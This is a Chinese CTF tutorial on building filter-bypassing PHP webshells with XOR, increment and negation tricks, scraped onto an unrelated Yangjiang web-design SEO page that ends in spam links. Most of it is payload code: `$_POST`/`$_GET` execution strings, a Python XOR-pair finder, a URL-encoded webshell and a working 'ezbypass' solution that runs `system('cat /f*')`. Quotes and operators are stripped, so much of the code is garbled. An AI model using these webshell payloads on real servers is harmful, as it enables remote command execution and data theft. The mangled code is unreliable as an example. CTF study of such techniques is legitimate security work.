当前位置: 首页 > news >正文

阳江网页设计百家号优化

阳江网页设计,百家号优化,松江网站开发,自学网站建设 难吗FLAG#xff1a;那天晚上和你聊了很久#xff0c;手机烫的和心脏一样 专研方向: 代码审计#xff0c;Crypto 每日emo#xff1a;天一亮#xff0c;时间就不属于我了 从CTF中学习自增构造webshell 前言1.异或2.自增3.取反青少年CTF之ezbypass 前言 今天写了几道代码审计的… FLAG那天晚上和你聊了很久手机烫的和心脏一样 专研方向: 代码审计Crypto 每日emo天一亮时间就不属于我了 从CTF中学习自增构造webshell 前言1.异或2.自增3.取反青少年CTF之ezbypass 前言 今天写了几道代码审计的题发现我是个菜鸟所以借鉴各位师傅的文章做一个总结。 提示以下是本篇文章正文内容下面案例可供参考 1.异或 以 “A” 和 “?” 进行异或操作 ?php echo A^?;结果为 ~计算的过程如下 首先将A和?分别转换为对应的ASCII码 A变为65?变为63然后将其转换为对应的二进制数 A变为10000011变为111111接下来就进行运算异或的运算规则是相同为0不同为1 A: 1000001 1: 0111111(少一位前面补0即可) 结果 1111110示例 注意 . 作用把两个字符串连接起来 $__(#^|); // _ $__.(.^~); // _P $__.(/^); // _PO $__.(|^/); // _POS $__.({^/); // _POST $$__[_]($$__[__]); // $_POST[_]($_POST[__]);合并起来 $__(#^|);$__.(.^~);$__.(/^);$__.(|^/);$__.({^/);$$__[_]($$__[__]);再进行一次URL编码、得最终payload 这种方式如果自己去慢慢找的话过程是极为缓慢的想到我们异或一次不仅能构造出一个字符也可以一次构造出多个字符,通过一次异或运算得到我们想构造的字符串比如system那这里的话我们大体思路的话就有了 第一步寻找未被过滤的字符 第二步写入我们想构造的字符串然后对它进行一个遍历先获取第一个字符 第三步用刚刚找到的未被过滤的字符进行一个遍历看哪两个能够通过异或运算构造出第一个字符同理得到后面的 第四步输出时将字符进行一个URL编码因为涉及到了部分不可见字符 import re import requests import urllib from sys import * import osa[] ans1 ans2 for i in range(0,256): #设置i的范围cchr(i)#将i转换成ascii对应的字符并赋值给ctmp re.match(r[0-9]|[a-z]|\^|\|\~|\$|\[|\]|\{|\}|\|\-,c,re.I)#设置过滤条件让变量c在其中找对应并利用修饰符过滤大小写这样可以得到未被过滤的字符if(tmp):continue#当执行正确时那说明这些是被过滤掉的所以才会被匹配到此时我们让他继续执行即可else:a.append(i)#在数组中增加i这些就是未被系统过滤掉的字符# eval(echo($c);); myasystem #函数名 这里修改 mybdir #参数 def myfun(k,my): #自定义函数global ans1 #引用全局变量ans1使得在局部对其进行更改时不会报错global ans2 #引用全局变量ans2使得在局部对其进行更改时不会报错for i in range (0,len(a)): #设置循环范围为0a注a为未被过滤的字符数量 for j in range(i,len(a)): #在上个循环的条件下设置j的范围if(a[i]^a[j]ord(my[k])):ans1chr(a[i]) #ans1ans1chr(a[i])ans2chr(a[j]) #ans2ans2chr(a[j])return;#返回循环语句中重新寻找第二个k这里的话就是寻找y对应的两个字符 for x in range(0,len(mya)): #设置k的范围myfun(x,mya)#引用自定义的函数 data1(urllib.request.quote(ans1)^urllib.request.quote(ans2)) #data1等于传入的命令,ans1是固定格式这样可以得到变量对应的值再用包裹这样是变量的固定格式另一个也是如此两个在进行URL编码后进行按位与运算然后得到对应值 print(data1) ans1#对ans1进行重新赋值 ans2#对ans2进行重新赋值 for k in range(0,len(myb)):#设置k的范围为(0,len(myb))myfun(k,myb)#再次引用自定义函数 data2(\urllib.request.quote(ans1)\^\urllib.request.quote(ans2)\) print(data2)这里修改命令即可 2.自增 当我们通过某种方法可以得到一个字符时我们就可以通过自增来获取其他字符 代码如下示例 ?php $_[];//Array $_$_[$];//A $_;//B $_;//C $_;//D $_;//E $_;//F $_;//G var_dump($_);然后看我们这里的代码的话是eval(code)所以就可以构造这种的_GET[1]( ?php $_[].;//Array $_$_[$];//A $_;//B $_;//C $_;//D $_;//E $__$_;//E $_;//F $_;//G $___$_;//G $_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;//T $_$___.$__.$_;//GET //var_dump($_); $__.$_;//_GET var_dump($$_[_]($$_[__])); //$_GET[_]($_GET[__])接下来就可以尝试去给_和__GET传参这里我们需要把换行的都去掉然后进行一次URL编码因为中间件会解码一次所以我们构造的payload先变成这样 $_[].;$_$_[$];$_;$_;$_;$_;$__$_;$_;$_;$___$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_;$_$___.$__.$_;$__.$_;$$_[_]($$_[__]);编码后 %24_%3D%5B%5D.%3B%24_%3D%24_%5B%3D%3D%24%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D_.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B3.取反 这个的话我们这里其实是利用了不可见字符我们对一个字符进行两次取反得到的还是其本身。当我们进行一次取反过后对其进行URL编码再对其进行取反此时可以得到可见的字符它的本质其实还是这个字符本身然后因为取反用的多是不可见字符所以这里就达到了一种绕过的目的。 这里的话利用一个php脚本即可获取我们想要的字符 ?php $ans1system;//函数名 $ans2dir;//命令 $data1(~.urlencode(~$ans1));//通过两次取反运算得到system $data2(~.urlencode(~$ans2));//通过两次取反运算得到dir echo ((.$data1.).(.$data2.).;);(~system)%20(~dir);青少年CTF之ezbypass 例题 ?php error_reporting(0); highlight_file(__FILE__);if (isset($_POST[code])) {$code $_POST[code];if (strlen($code) 105){if (is_string($code)) {if (!preg_match(/[a-zA-Z0-9#%^*:{}\-\?\|~\\\\]/,$code)){eval($code);} else {echo Hacked!;}} else {echo You need to pass in a string;}} else {echo long?;} }构造pyload拿到flag code$_(_/_._);$_$_[!];$%ff%2b%2b$_;$%ff%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.%2b%2b$_;$%ff.%2b%2b$_;$__.$%ff;$$_[_]($$_[__]);_system__cat /f*参考师傅文章CTFShow
http://www.zqtcl.cn/news/864374/

相关文章:

  • 页面设计网站素材制作个人网站
  • 怎么制作免费建网站cnzz wordpress
  • 网站界面技术方案wordpress开启子目录多站点模式
  • 汕头网站建设推广价格筑龙网官网首页
  • 河北省建设执业资格注册中心网站东莞微网站建设多少钱
  • 企业网站建设功能模块discover wordpress
  • 网站建设结课做诱导网站
  • 网站开发与设计难嘛青州网站建设推广
  • 网站开发程序员工资谷歌推广网站建设
  • 江门网页建站模板金富通青岛建设工程有限公司网站
  • 网站后台账户如何做会计分录做传奇开服一条龙网站哪个好
  • 天门市网站建设seo平台建设网站公司
  • php网站怎么做302织梦网站有会员系统怎么做
  • 清远建设局网站安阳吧百度贴吧
  • 做什么软件做网站效率最好网站公司建设都招聘那些职位
  • 缙云建设局网站深圳营销型网站设计
  • 企业网站制作价格成都高端网站建设公司哪家好
  • wordpress+做仿站网站建设费用属于业务宣传费吗
  • 昆明企业网站制作wordpress移动端插件menu
  • 长沙网站设计培训学校南宁建设网站哪里好
  • 提高基层治理效能全国seo搜索排名优化公司
  • 如何建设网站简介WordPress集成tipask
  • 青海网站开发公司建筑公司的愿景怎么写
  • 建设银行集团网站首页优化科技
  • dede 汽车网站网站上的彩票走势图是怎么做的
  • 网站内容营销呼市推广网站
  • 南宁网站建设价格医院有关页面设计模板
  • 城乡住房和城乡建设厅网站湖州公司网站建设
  • h5响应式的网站建站空间哪个好
  • 徐州网站建设与推广公众号开发技术风险